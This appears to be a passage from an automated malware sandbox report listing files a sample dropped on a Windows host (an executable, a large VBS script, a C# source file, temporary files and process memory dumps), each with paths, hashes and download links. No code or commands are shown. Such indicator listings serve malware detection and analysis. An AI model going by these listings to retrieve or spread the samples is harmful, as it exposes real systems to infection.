MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agfpgb.exe

Path C:\Users\Admin\AppData\Local\Temp\agfpgb.exe
Size 239KB
SHA256 2cbe0104d0a55f21c2f0e895a50df2ffdbdebfe2e020c7b5dead6aaeb233467e
MD5 6e709eef0402edad04464e90fd7b700d
SHA1 7b78f8a790bcbb4febf73b1dc77abbb4de9ab099
SHA512 dbea602f63b513bfa4b6428c2289b006f7296c7b8da21687deb9eb9a57c60a3a5592941b2717bc8ace6b971f1103c88623c274e7968498bb07ee78cd6bd54f7d
SSDEEP 3072:kkN9BkbLbbrFsWxhyYEhR5m26Yy5Th7kwEw:rN7kbLbbrFsWxkVZd6Ys77
TLSH
T12E340F037E88EB15E1A87E3782EF6C2413F2B0C71633860BAF49AF6515526525C7E72D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

goodthingsarebestbetteyscomingforu.vbs

Path C:\Users\Admin\AppData\Roaming\goodthingsarebestbetteyscomingforu.vbs
Size 2.1MB
SHA256 a63e7dcefe717a6748bb223c17593b13918677dc82cd06468cd58bc891cd53bd
MD5 60d30d1156c957dcbeb72c5abbdc6ce8
SHA1 980b261446a095fe272d0ec95f1b2501fa26e781
SHA512 23ec79167186fdef2169f1a15060a3f231c4dd64ae0946819088d7cebb8816746074048feba8f3ae57c5957e0a5be5317b3ce07604a7c8f5ce6560e7975ae841
SSDEEP 96:gmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmPmP/:3uwiiZKSK72Dq6N6qDHLvJTvorpssc
TLSH
T1A8A512013E7A0F36673E3A56E8807A69B53A12D582FBB535D1C533041099D1EA8EF37E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC6120F52F2435FB6DE7B701A243340.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC6120F52F2435FB6DE7B701A243340.TMP
Size 1KB
SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
MD5 50f536e2c49cc088dc7219c2d625a3ae
SHA1 944c94a195dabccf5e99a03a0023097e0c7d05fa
SHA512 77215a61297d80a335cc891399f4919ab7a7654da10ac254a6968444db89cf5ee2924a1d206d175ef8c16290b3aeca4bbd66fb9142885e75860072dc777d32ee
TLSH
T16421AB45A2E8421EF2B3477079F2C362A16DBF669D7A43EC3488175F2F1690085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_d177898d020848e499d9cfc0dab067f5.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_d177898d020848e499d9cfc0dab067f5.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/668-119-0x0000000000F20000-0x0000000000F62000-memory.dmp

Download

memory/2740-105-0x0000000007860000-0x0000000007894000-memory.dmp

Download

memory/2740-101-0x0000000006480000-0x0000000006512000-memory.dmp

Download

memory/2740-149-0x000000000D830000-0x000000000D9F2000-memory.dmp

Download

memory/2740-134-0x0000000007770000-0x00000000077EC000-memory.dmp

Download

memory/2740-135-0x0000000007810000-0x0000000007818000-memory.dmp

Download

memory/2740-132-0x000000000B390000-0x000000000BDE8000-memory.dmp

Download

memory/2740-131-0x000000000F9D0000-0x000000001080C000-memory.dmp

Download

memory/2740-130-0x0000000007720000-0x0000000007770000-memory.dmp

Download

memory/2740-106-0x00000000078B0000-0x00000000078B6000-memory.dmp

Download

memory/2740-103-0x00000000075A0000-0x00000000075E2000-memory.dmp

Download

memory/2740-50-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/2740-102-0x0000000006460000-0x000000000646A000-memory.dmp

Download

memory/2740-54-0x0000000005840000-0x00000000058DC000-memory.dmp

Download

memory/2784-80-0x0000000007560000-0x000000000757A000-memory.dmp

Download

memory/2784-79-0x0000000007460000-0x0000000007474000-memory.dmp

Download

memory/2784-65-0x00000000070B0000-0x00000000070E2000-memory.dmp

Download

memory/2784-66-0x0000000070820000-0x000000007086C000-memory.dmp

Download

memory/2784-74-0x00000000064F0000-0x000000000650E000-memory.dmp

Download

memory/2784-75-0x00000000070F0000-0x0000000007193000-memory.dmp

Download

memory/2784-76-0x0000000007290000-0x000000000729A000-memory.dmp

Download

memory/2784-77-0x0000000007420000-0x0000000007431000-memory.dmp

Download

memory/2784-78-0x0000000007450000-0x000000000745E000-memory.dmp

Download

memory/2784-64-0x0000000005FA0000-0x0000000005FEC000-memory.dmp

Download

memory/2784-62-0x0000000005A70000-0x0000000005DC4000-memory.dmp

Download

memory/2784-81-0x0000000007540000-0x0000000007548000-memory.dmp

Download

memory/3420-34-0x0000000006C90000-0x0000000006CDC000-memory.dmp

Download

memory/3420-43-0x0000000007880000-0x0000000007916000-memory.dmp

Download

memory/3420-44-0x0000000007820000-0x0000000007842000-memory.dmp

Download

memory/3420-32-0x00000000062B0000-0x0000000006604000-memory.dmp

Download

memory/3420-45-0x0000000007FA0000-0x0000000008544000-memory.dmp

Download

memory/3948-49-0x000001C0B5DE0000-0x000001C0B5DEA000-memory.dmp

Download

memory/3948-48-0x000001C0B8480000-0x000001C0B85A2000-memory.dmp

Download

memory/3948-42-0x000001C0B5D90000-0x000001C0B5DB2000-memory.dmp

Download

memory/4100-92-0x0000000070820000-0x000000007086C000-memory.dmp

Download

memory/4100-90-0x00000000056C0000-0x0000000005A14000-memory.dmp

Download

memory/4944-129-0x0000000000770000-0x0000000000778000-memory.dmp

Download

memory/5040-6-0x00000000056C0000-0x0000000005726000-memory.dmp

Download

memory/5040-4-0x0000000004D70000-0x0000000004D92000-memory.dmp

Download

memory/5040-3-0x0000000004F70000-0x0000000005598000-memory.dmp

Download

memory/5040-0-0x0000000002490000-0x00000000024A0000-memory.dmp

Download

memory/5040-17-0x00000000073A0000-0x0000000007A1A000-memory.dmp

Download

memory/5040-5-0x0000000005650000-0x00000000056B6000-memory.dmp

Download

memory/5040-16-0x00000000062E0000-0x000000000632C000-memory.dmp

Download

memory/5040-14-0x0000000005730000-0x0000000005A84000-memory.dmp

Download

memory/5040-2-0x0000000002490000-0x00000000024A0000-memory.dmp

Download

memory/5040-15-0x0000000005D20000-0x0000000005D3E000-memory.dmp

Download

memory/5040-1-0x0000000002450000-0x0000000002486000-memory.dmp

Download

memory/5040-18-0x00000000061A0000-0x00000000061BA000-memory.dmp

Download